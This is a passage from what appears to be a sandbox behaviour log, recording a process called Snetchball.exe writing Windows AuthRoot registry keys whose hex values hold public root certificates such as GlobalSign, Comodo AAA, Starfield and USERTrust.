c3284635589c40dc19354301913acd37d37a7eb5d3a6c355cdb41d712daa9490bdfd8808a0993628eb566cf2588cd84b8b13fa4390fd9029eeb124c957cf36b05a95e1683ccb867e2e8139dcc5b82d34cb3ed5bffdee573ac233b2d00bf3555740949d849581a7f9236e651920ef3267d1c4d17bcc9ec4326d0bf415f40a94444f499e757879e501f5754a83efd74632fb1506509e658422e431a4cb4f0254759fa041e93d426464a5081b2debe78b7fc6715e1c957841e0f63d6e962bad65f552eea5cc62808042539b80e2ba9f24c971c073f0d52f5edef2f820f0203010001a3423040301d0603551d0e041604145379bf5aaa2b4acf5480e1d89bc09df2b20366cb300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff300d06092a864886f70d01010c050003820201005cd47c0dcff7017d4199650c73c5529fcbf8cf99067f1bda43159f9e0255579614f1523c27879428ed1f3a0137a276fc5350c0849bc66b4eba8c214fa28e556291f36915d8bc88e3c4aa0bfdefa8e94b552a06206d55782919ee5f305c4b241155ff249a6e5e2a2bee0b4d9f7ff70138941495430709fb60a9ee1cab128ca09a5ea7986a596d8b3f08fbc8d145af18156490120f73282ec5e2244efc58ecf0f445fe22b3eb2f8ed2d9456105c1976fa876728f8b8c36afbf0d05ce718de6a66f1f6ca67162c5d8d083720cf16711890c9c134c7234dfbcd571dfaa71dde1b96c8c3c125d65dabd5712b6436bffe5de4d661151cf99aeec17b6e871918cde49fedd3571a21527941ccf61e326bb6fa36725215de6dd1d0b2e681b3b82afec836785d4985174b1b9998089ff7f78195c794a602e9240ae4c372a2cc9c762c80e5df7365bcae0252501b4dd1a079c77003fd0dcd5ec3dd4fabb3fcc85d66f7fa92ddfb902f7f5979ab535dac367b0874aa9289e238eff5c276be1b04ff307ee002ed45987cb524195eaf447d7ee6441557c8d590295dd629dc2b9ee5a287484a59bb790c70c07dff589367432d628c1b0b00be09c4cc31cd6fce369b54746812fa282abd3634470c48dff2d33baad8f7bb57088ae3e19cf4028d8fcc890bb5d9922f552e658c51f883143ee881dd7c68e3c436a1da718de7d3d16f162f9ca90a8fd Snetchball.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13 Snetchball.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 5c0000000100000004000000000800001900000001000000100000006cf252fec3e8f20996de5d4dd9aef424030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c137e000000010000000800000000c001b39667d6017f000000010000000e000000300c060a2b0601040182370a03041d00000001000000100000004558d512eecb27464920897de7b66053140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589100b000000010000001e000000440053005400200052006f006f00740020004300410020005800330000006200000001000000200000000687260331a72403d909f105e69bcf0d32e1bd2493ffc6d9206d11bcd6770739090000000100000042000000304006082b06010505070302060a2b0601040182370a030c060a2b0601040182370a030406082b0601050507030406082b0601050507030106082b060105050703080f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d040000000100000010000000410352dc0ff7501b16f0028eba6f45c520000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510 Snetchball.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D69B561148F01C77C54578C10926DF5B856976AD\Blob = 0f00000001000000200000005229ba15b31b0c6f4cca89c2985177974327d1b689a3b935a0bd975532af22ab090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b06010505070308530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520033000000620000000100000020000000cbb522d7b7f127ad6a0113865bdf1cd4102e7d0759af635a7cf4720dc963c53b1400000001000000140000008ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc1d000000010000001000000001728e1ecf7a9d86fb3cec8948aba953030000000100000014000000d69b561148f01c77c54578c10926df5b856976ad2000000001000000630300003082035f30820247a003020102020b04000000000121585308a2300d06092a864886f70d01010b0500304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e301e170d3039303331383130303030305a170d3239303331383130303030305a304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e30820122300d06092a864886f70d01010105000382010f003082010a0282010100cc2576907906782216f5c083b684ca289efd057611c5ad8872fc460243c7b28a9d045f24cb2e4be1608246e152ab0c8147706cdd64d1ebf52ca30f823d0c2bae97d7b614861079bb3b1380778c08e149d26a622f1f5efa9668df892795389f06d73ec9cb26590d73deb0c8e9260e8315c6ef5b8bd20460ca49a628f6693bf6cbc82891e59d8a615737ac7414dc74e03aee722f2e9cfbd0bbbff53d00e10633e8822bae53a63a16738cdd410e203ac0b4a7a1e9b24f902e3260e957cbb904926868e538266075b29f77ff9114efae2049fcad401548d1023161195eb897efad77b7649a7abf5fc113ef9b62fb0d6ce0546916a903da6ee983937176c6698582170203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e041604148ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc300d06092a864886f70d01010b050003820101004b40dbc050aafec80ceff796544549bb96000941acb3138686280733ca6be674b9ba002daea40ad3f5f1f10f8abf73674a83c7447b78e0af6e6c6f03298e333945c38ee4b9576caafc1296ec53c62de4246cb99463fbdc536867563e83b8cf3521c3c968fecedac253aacc908ae9f05d468c95dd7a58281a2f1ddecd0037418fed446dd75328977ef367041e15d78a96b4d3de4c27a44c1b737376f41799c21f7a0ee32d08ad0a1c2cff3cab550e0f917e36ebc35749bee12e2d7c608bc3415113239dcef7326b9401a899e72c331f3a3b25d28640ce3b2c8678c9612f14baeedb556fdf84ee05094dbd28d872ced36250651eeb92978331d9b3b5ca47583f5f Snetchball.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D69B561148F01C77C54578C10926DF5B856976AD\Blob = 190000000100000010000000d0fd3c9c380d7b65e26b9a3fedd39b8f030000000100000014000000d69b561148f01c77c54578c10926df5b856976ad1d000000010000001000000001728e1ecf7a9d86fb3cec8948aba9531400000001000000140000008ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc620000000100000020000000cbb522d7b7f127ad6a0113865bdf1cd4102e7d0759af635a7cf4720dc963c53b0b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520033000000530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f00000001000000200000005229ba15b31b0c6f4cca89c2985177974327d1b689a3b935a0bd975532af22ab2000000001000000630300003082035f30820247a003020102020b04000000000121585308a2300d06092a864886f70d01010b0500304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e301e170d3039303331383130303030305a170d3239303331383130303030305a304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e30820122300d06092a864886f70d01010105000382010f003082010a0282010100cc2576907906782216f5c083b684ca289efd057611c5ad8872fc460243c7b28a9d045f24cb2e4be1608246e152ab0c8147706cdd64d1ebf52ca30f823d0c2bae97d7b614861079bb3b1380778c08e149d26a622f1f5efa9668df892795389f06d73ec9cb26590d73deb0c8e9260e8315c6ef5b8bd20460ca49a628f6693bf6cbc82891e59d8a615737ac7414dc74e03aee722f2e9cfbd0bbbff53d00e10633e8822bae53a63a16738cdd410e203ac0b4a7a1e9b24f902e3260e957cbb904926868e538266075b29f77ff9114efae2049fcad401548d1023161195eb897efad77b7649a7abf5fc113ef9b62fb0d6ce0546916a903da6ee983937176c6698582170203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e041604148ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc300d06092a864886f70d01010b050003820101004b40dbc050aafec80ceff796544549bb96000941acb3138686280733ca6be674b9ba002daea40ad3f5f1f10f8abf73674a83c7447b78e0af6e6c6f03298e333945c38ee4b9576caafc1296ec53c62de4246cb99463fbdc536867563e83b8cf3521c3c968fecedac253aacc908ae9f05d468c95dd7a58281a2f1ddecd0037418fed446dd75328977ef367041e15d78a96b4d3de4c27a44c1b737376f41799c21f7a0ee32d08ad0a1c2cff3cab550e0f917e36ebc35749bee12e2d7c608bc3415113239dcef7326b9401a899e72c331f3a3b25d28640ce3b2c8678c9612f14baeedb556fdf84ee05094dbd28d872ced36250651eeb92978331d9b3b5ca47583f5f Snetchball.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AD7E1C28B064EF8F6003402014C3D0E3370EB58A Snetchball.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 Snetchball.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa20f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e Snetchball.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 040000000100000010000000497904b0eb8719ac47b0bc11519b74d0030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef453000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d578112861900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e Snetchball.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AD7E1C28B064EF8F6003402014C3D0E3370EB58A\Blob = 040000000100000010000000324a4bbbc863699bbe749ac6dd1d46240f00000001000000140000000f6aad4c3fe04619cdc8b2bd655aa1a26042e6500b000000010000005400000053007400610072006600690065006c006400200043006c00610073007300200032002000430065007200740069006600690063006100740069006f006e00200041007500740068006f007200690074007900000053000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c009000000010000002a000000302806082b0601050507030206082b0601050507030306082b0601050507030406082b060105050703016200000001000000200000001465fa205397b876faa6f0a9958e5590e40fcc7faa4fb7c2c8677521fb5fb658140000000100000014000000bf5fb7d1cedd1f86f45b55acdcd710c20ea988e71d000000010000001000000090c4f4233b006b7bfaa6adcd8f577d77030000000100000014000000ad7e1c28b064ef8f6003402014c3d0e3370eb58a190000000100000010000000fd960962ac6938e0d4b0769aa1a64e262000000001000000130400003082040f308202f7a003020102020100300d06092a864886f70d01010505003068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479301e170d3034303632393137333931365a170d3334303632393137333931365a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f7269747930820120300d06092a864886f70d01010105000382010d00308201080282010100b732c8fee971a60485ad0c1164dfce4defc80318873fa1abfb3ca69ff0c3a1dad4d86e2b5390fb24a43e84f09ee85fece52744f528a63f7bdee02af0c8af532f9eca0501931e8f661c39a74dfa5ab673042566eb777fe759c64a99251454eb26c7f37f19d530708fafb0462affadeb29edd79faa0487a3d4f989a5345fdb43918236d9663cb1b8b982fd9c3a3e10c83bef0665667a9b19183dff71513c302e5fbe3d7773b25d066cc323569a2b8526921ca702b3e43f0daf087982b8363dea9cd335b3bc69caf5cc9de8fd648d1780336e5e4a5d99c91e87b49d1ac0d56e1335235edf9b5f3defd6f776c2ea3ebb780d1c42676b04d8f8d6da6f8bf244a001ab020103a381c53081c2301d0603551d0e04160414bf5fb7d1cedd1f86f45b55acdcd710c20ea988e73081920603551d2304818a3081878014bf5fb7d1cedd1f86f45b55acdcd710c20ea988e7a16ca46a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479820100300c0603551d13040530030101ff300d06092a864886f70d01010505000382010100059d3f889dd1c91a55a1ac69f3f359da9b01871a4f57a9a179092adbf72fb21eccc75e6ad88387a197ef49353e7706415862bf8e58b80a673fecb3dd21661fc954fa72cc3d4c40d881af779e837abba2c7f534178ed91140f4fc2c2a4d157fa7625d2e25d3000b201a1d68f917b8f4bd8bed2859dd4d168b1783c8b265c72d7aa5aabc53866ddd57a4caf820410b68f0f4fb74be565d7a79f5f91d85e32d95bef5719043cc8d1f9a000a8729e95522580023eae31243295b4708dd8c416a6506a8e521aa41b4952195b97dd134ab13d6adbcdce23d39cdbd3e7570a1185903c922b48f9cd55e2ad7a5b6d40a6df8b74011469a1f790e62bf0f97ece02f1f1794 Snetchball.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2B8F1B57330DBBA2D07A6C51F70EE90DDAB9AD8E\Blob = 0400000001000000100000001bfe69d191b71933a372a80fe155e5b50f000000010000003000000066b764a96581128168cf208e374dda479d54e311f32457f4aee0dbd2a6c8d171d531289e1cd22bfdbbd4cfd979625483090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000e793c9b02fd8aa13e21c31228accb08119643b749c898964b1746d46c3d4cbd21400000001000000140000005379bf5aaa2b4acf5480e1d89bc09df2b20366cb1d0000000100000010000000885010358d29a38f059b028559c95f900b00000001000000100000005300650063007400690067006f0000000300000001000000140000002b8f1b57330dbba2d07a6c51f70ee90ddab9ad8e190000000100000010000000ea6089055218053dd01e37e1d806eedf2000000001000000e2050000308205de308203c6a003020102021001fd6d30fca3ca51a81bbc640e35032d300d06092a864886f70d01010c0500308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f72697479301e170d3130303230313030303030305a170d3338303131383233353935395a308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f7269747930820222300d06092a864886f70d01010105000382020f003082020a028202010080126517360ec3db08b3d0ac570d76edcd27d34cad508361e2aa204d092d6409dcce899fcc3da9ecf6cfc1dcf1d3b1d67b3728112b47da39c6bc3a19b45fa6bd7d9da36342b676f2a93b2b91f8e26fd0ec162090093ee2e874c918b491d46264db7fa306f188186a90223cbcfe13f087147bf6e41f8ed4e451c61167460851cb8614543fbc33fe7e6c9cff169d18bd518e35a6a766c87267db2166b1d49b7803c0503ae8ccf0dcbc9e4cfeaf0596351f575ab7ffcef93db72cb6f654ddc8e7123a4dae4c8ab75c9ab4b7203dca7f2234ae7e3b68660144e7014e46539b3360f794be5337907343f332c353efdbaafe744e69c76b8c6093dec4c70cdfe132aecc933b517895678bee3d56fe0cd0690f1b0ff325266b336df76e47fa7343e57e0ea566b1297c3284635589c40dc19354301913acd37d37a7eb5d3a6c355cdb41d712daa9490bdfd8808a0993628eb566cf2588cd84b8b13fa4390fd9029eeb124c957cf36b05a95e1683ccb867e2e8139dcc5b82d34cb3ed5bffdee573ac233b2d00bf3555740949d849581a7f9236e651920ef3267d1c4d17bcc9ec4326d0bf415f40a94444f499e757879e501f5754a83efd74632fb1506509e658422e431a4cb4f0254759fa041e93d426464a5081b2debe78b7fc6715e1c957841e0f63d6e962bad65f552eea5cc62808042539b80e2ba9f24c971c073f0d52f5edef2f820f0203010001a3423040301d0603551d0e041604145379bf5aaa2b4acf5480e1d89bc09df2b20366cb300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff300d06092a864886f70d01010c050003820201005cd47c0dcff7017d4199650c73c5529fcbf8cf99067f1bda43159f9e0255579614f1523c27879428ed1f3a0137a276fc5350c0849bc66b4eba8c214fa28e556291f36915d8bc88e3c4aa0bfdefa8e94b552a06206d55782919ee5f305c4b241155ff249a6e5e2a2bee0b4d9f7ff70138941495430709fb60a9ee1cab128ca09a5ea7986a596d8b3f08fbc8d145af18156490120f73282ec5e2244efc58ecf0f445fe22b3eb2f8ed2d9456105c1976fa876728f8b8c36afbf0d05ce718de6a66f1f6ca67162c5d8d083720cf16711890c9c134c7234dfbcd571dfaa71dde1b96c8c3c125d65dabd5712b6436bffe5de4d661151cf99aeec17b6e871918cde49fedd3571a21527941ccf61e326bb6fa36725215de6dd1d0b2e681b3b82afec836785d4985174b1b9998089ff7f78195c794a602e9240ae4c372a2cc9c762c80e5df7365bcae0252501b4dd1a079c77003fd0dcd5ec3dd4fabb3fcc85d66f7fa92ddfb902f7f5979ab535dac367b0874aa9289e238eff5c276be1b04ff307ee002ed45987cb524195eaf447d7ee6441557c8d590295dd629dc2b9ee5a287484a59bb790c70c07dff589367432d628c1b0b00be09c4cc31cd6fce369b54746812fa282abd3634470c48dff2d33baad8f7bb57088ae3e19cf4028d8fcc890bb5d9922f552e658c51f883143ee881dd7c68e3c436a1da718de7d3d16f162f9ca90a8fd Snetchball.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2B8F1B57330DBBA2D07A6C51F70EE90DDAB9AD8E\Blob = 5c000000010000000400000000100000190000000100000010000000ea6089055218053dd01e37e1d806eedf0300000001000000140000002b8f1b57330dbba2d07a6c51f70ee90ddab9ad8e0b00000001000000100000005300650063007400690067006f0000001d0000000100000010000000885010358d29a38f059b028559c95f901400000001000000140000005379bf5aaa2b4acf5480e1d89bc09df2b20366cb620000000100000020000000e793c9b02fd8aa13e21c31228accb08119643b749c898964b1746d46c3d4cbd253000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f000000010000003000000066b764a96581128168cf208e374dda479d54e311f32457f4aee0dbd2a6c8d171d531289e1cd22bfdbbd4cfd9796254830400000001000000100000001bfe69d191b71933a372a80fe155e5b52000000001000000e2050000308205de308203c6a003020102021001fd6d30fca3ca51a81bbc640e35032d300d06092a864886f70d01010c0500308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f72697479301e170d3130303230313030303030305a170d3338303131383233353935395a308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f7269747930820222300d06092a864886f70d01010105000382020f003082020a028202010080126517360ec3db08b3d0ac570d76edcd27d34cad508361e2aa204d092d6409dcce899fcc3da9ecf6cfc1dcf1d3b1d67b3728112b47da39c6bc3a19b45fa6bd7d9da36342b676f2a93b2b91f8e26fd0ec162090093ee2e874c918b491d46264db7fa306f188186a90223cbcfe13f087147bf6e41f8ed4e451c61167460851cb8614543fbc33fe7e6c9cff169d18bd518e35a6a766c87267db2166b1d49b7803c0503ae8ccf0dcbc9e4cfeaf0596351f575ab7ffcef93db72cb6f654ddc8e7123a4dae4c8ab75c9ab4b7203dca7f2234ae7e3b68660144e7014e46539b3360f794be5337907343f332c353efdbaafe744e69c76b8c6093dec4c70cdfe132aecc933b517895678bee3d56fe0cd0690f1b0ff325266b336df76e47fa7343e57e0ea566b1297c3284635589c40dc19354301913acd37d37a7eb5d3a6c355cdb41d712daa9490bdfd8808a0993628eb566cf2588cd84b8b13fa4390fd9029eeb124c957cf36b05a95e1683ccb867e2e8139dcc5b82d34cb3ed5bffdee573ac233b2d00bf3555740949d849581a7f9236e651920ef3267d1c4d17bcc9ec4326d0bf415f40a94444f499e757879e501f5754a83efd74632fb1506509e658422e431a4cb4f0254759fa041e93d426464a5081b2debe78b7fc6715e1c957841e0f63d6e962bad65f552eea5cc62808042539b80e2ba9f24c971c073f0d52f5edef2f820f0203010001a3423040301d0603551d0e041604145379bf5aaa2b4acf5480e1d89bc09df2b20366cb300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff300d06092a864886f70d01010c050003820201005cd47c0dcff7017d4199650c73c5529fcbf8cf99067f1bda43159f9e0255579614f1523c27879428ed1f3a0137a276fc5350c0849bc66b4eba8c214fa28e556291f36915d8bc88e3c4aa0bfdefa8e94b552a06206d55782919ee5f305c4b241155ff249a6e5e2a2bee0b4d9f7ff70138941495430709fb60a9ee1cab128ca09a5ea7986a596d8b3f08fbc8d145af18156490120f73282ec5e2244efc58ecf0f445fe22b3eb2f8ed2d9456105c1976fa876728f8b8c36afbf0d05ce718de6a66f1f6ca67162c5d8d083720cf16711890c9c134c7234dfbcd